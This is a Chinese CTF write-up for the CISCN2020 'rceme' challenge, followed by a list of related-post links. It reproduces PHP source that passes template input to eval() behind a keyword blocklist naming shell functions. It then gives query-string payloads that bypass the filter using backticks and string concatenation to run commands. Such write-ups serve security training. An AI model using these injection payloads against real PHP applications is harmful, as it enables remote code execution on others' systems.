[CISCN2020]-rceme
题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {$s=htmlspecialchars($s);$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');$s = str_ireplace($key,"*",$s);$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');foreach ($danger as $val){if(strpos($s,$val) !==false){die('很抱歉,执行出错,发现危险字符【'.$val.'】');}}if(preg_match("/^[a-z]$/i")){die('很抱歉,执行出错,发现危险字符');}return $s;
}
function parserIfLabel( $content ) {$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';if ( preg_match_all( $pattern, $content, $matches ) ) {$count = count( $matches[ 0 ] );for ( $i = 0; $i < $count; $i++ ) {$flag = '';$out_html = '';$ifstr = $matches[ 1 ][ $i ];$ifstr=danger_key($ifstr,1);if(strpos($ifstr,'=') !== false){$arr= splits($ifstr,'=');if($arr[0]=='' || $arr[1]==''){die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');}$ifstr = str_replace( '=', '==', $ifstr );}$ifstr = str_replace( '<>', '!=', $ifstr );$ifstr = str_replace( 'or', '||', $ifstr );$ifstr = str_replace( 'and', '&&', $ifstr );$ifstr = str_replace( 'mod', '%', $ifstr );$ifstr = str_replace( 'not', '!', $ifstr );if ( preg_match( '/\{|}/', $ifstr)) {die('很抱歉,模板中有错误的判断,请修正'.$ifstr);}else{@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );}if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {switch ( $flag ) {case 'if':if ( isset( $matches2[ 1 ] ) ) {$out_html .= $matches2[ 1 ];}break;case 'else':if ( isset( $matches2[ 2 ] ) ) {$out_html .= $matches2[ 2 ];}break;}} elseif ( $flag == 'if' ) {$out_html .= $matches[ 2 ][ $i ];}$pattern2 = '/\{if([0-9]):/';if ( preg_match( $pattern2, $out_html, $matches3 ) ) {$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );$out_html = $this->parserIfLabel( $out_html );}$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );}}return $content;
}
function splits( $s, $str=',' ) {if ( empty( $s ) ) return array( '' );if ( strpos( $s, $str ) !== false ) {return explode( $str, $s );} else {return array( $s );}
}
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';if ( preg_match_all( $pattern, $content, $matches ) ) {$count = count( $matches[ 0 ] );for ( $i = 0; $i < $count; $i++ ) {$flag = '';$out_html = '';$ifstr = $matches[ 1 ][ $i ];
首先对函数通过GET方式传参,并进入函数体,传入参数之后对参数进行正则匹配,匹配成功后进入进入代码段,首先计算$matches[0]的单元数目,接着对$ifstr进行赋值。
在preg_match_all函数的$matches主要是用来存储匹配结果的数组,而默认情况下, $matches[0] 为全部模式匹配的数组,$matches[1] 为第一个括号中的子模式所匹配的字符串组成的数组,本地做下调试:
通过本地调试也可以知道$ifstr得到的是第一个子组的值,在这里即为([\s\S]+?)第一个匹配到的内容。
接着将$ifstr传入danger_key()函数中对关键字进行二次过滤。
function danger_key($s) {$s=htmlspecialchars($s);$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');$s = str_ireplace($key,"*",$s);$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');foreach ($danger as $val){if(strpos($s,$val) !==false){die('很抱歉,执行出错,发现危险字符【'.$val.'】');}}if(preg_match("/^[a-z]$/i")){die('很抱歉,执行出错,发现危险字符');}return $s;
}
然后继续对$ifstr再次对一系列关键字进行处理
if(strpos($ifstr,'=') !== false){$arr= splits($ifstr,'=');if($arr[0]=='' || $arr[1]==''){die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');}$ifstr = str_replace( '=', '==', $ifstr );}$ifstr = str_replace( '<>', '!=', $ifstr );$ifstr = str_replace( 'or', '||', $ifstr );$ifstr = str_replace( 'and', '&&', $ifstr );$ifstr = str_replace( 'mod', '%', $ifstr );$ifstr = str_replace( 'not', '!', $ifstr );if ( preg_match( '/\{|}/', $ifstr)) {die('很抱歉,模板中有错误的判断,请修正'.$ifstr);}else{@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );}
上述条件执行完毕之后,如果$ifstr中没有’{‘和’}'字符,就会将$ifstr插入到eval()中,执行相应代码。
接着要做的就是进行绕过过滤,将$ifstr插入到eval函数中,从而达到命令执行。
上面关键字瞟了一眼,很多可以在eval中命令执行的函数都被过滤了,比如:system()、passthru()、exec()、shell_exec()等。但是没发现过滤了`反引号,反引号在php中也是可以命令执行的。
构造pyloay如下:
?a={if:(var_dump(`ls`))} {end if}
当然网上也有很多关键字的绕过方法,比如:
使用字符串拼接:
payload:
?a={if:(sy.st.em)('ls')} {end if}
[CISCN2020]-rceme相关推荐
- CISCN2020初赛_Web
easytrick <?php class trick{public $trick1;public $trick2;public function __destruct(){$this-> ...
- [CISCN]2020
[CISCN2020]-easyphp <?php//题目环境:php:7.4.8-apache$pid = pcntl_fork();if ($pid == -1) {die('could n ...
- [NSSCTF][SCTF 2021]WEB复现
感谢NSSCTF提供复现环境 loginme middleware.go package middlewareimport ("github.com/gin-gonic/gin" ...
- 第十三届全国大学生信息安全竞赛(线上初赛)
第十三届全国大学生信息安全竞赛(线上初赛) 干啥啥不行,混子第一名,全靠躺,,,,,队友带飞! WEB easyphp 打开题目拿到源码: 根据题目的描述,让进程异常退出,进入到phpinfo中 pa ...
- [CTF]SCTF2021 WEB复现(详细版)
前言 认真复现还是收获挺多的,做这些就算看wp也会卡很久的题目才容易提高.最后感谢下NSSCTF平台提供的靶机,虽然flag只有一半 Loginme 下载附件得到源码,题目让我们本地访问,也就是要伪造 ...
- 绕过disable_functions
文章目录 前言 黑名单绕过 利用 LD_PRELOAD 环境变量 LD_PRELOAD 简介 利用条件 劫持 getuid() 劫持启动进程 演示过程 利用ShellShock(CVE-2014-62 ...
- 【八芒星计划】 House of Orange
文章目录 前言 CISCN2020 nofree 总结 前言 House of Orange是一种用来应对heap题中没有free的情况的方法,通过把top chunk的size改小,然后申请一个大于 ...
- 【八芒星计划】 劫持_IO_2_1_stdout_泄露libc
这一篇讲劫持_IO_2_1_stdout_泄露libc,应用在没有show的heap题里,首先申明,所有的都需要爆破,并且2.27由于tcache的存在使得2.27的劫持_IO_2_1_stdout_ ...
最新文章
- PHP并发IO编程之路
- MySql 错误 Err [Imp] 1153 - Got a packet bigger than 'max_allowed_packet' bytes
- 仿58 php框架源码,转转最新源码
- redis cluster管理工具redis-trib.rb详解
- vivado中如何读取十进制小数_二进制十进制间小数怎么转换,原来是这样的
- 计算机接口及应用技术,计算机接口技术及应用 第9讲 控制网络技术(2 现场总线).pdf...
- Ansible之playbook的使用总结 - 运维笔记
- STM32HAL库IIC驱动SH1108芯片OLED屏
- Scrapy 中文手册 0.25 文档
- 公钥基础设施PKI体系介绍
- 用python写问答机器人_机器人之Python入门到实践-问答机器人
- 在Linux下使用金山词霸2003(转)
- 解决 手机能连接上wifi而电脑却却不能连接上wifi的情况
- 2011-07-13 wince上面plg插件生成
- 活动预告 | 伍鸣博士受邀参加深链财经“2020非共识大会”
- 2022新版QQ微信域名防红PHP源码+强制跳转打开
- 手机闪存速度测试工具,AndroBench
- SAP中会计凭证数据表关系的简单验证
- 清华计算机912考研真题解析
- 民谣与2017年终总结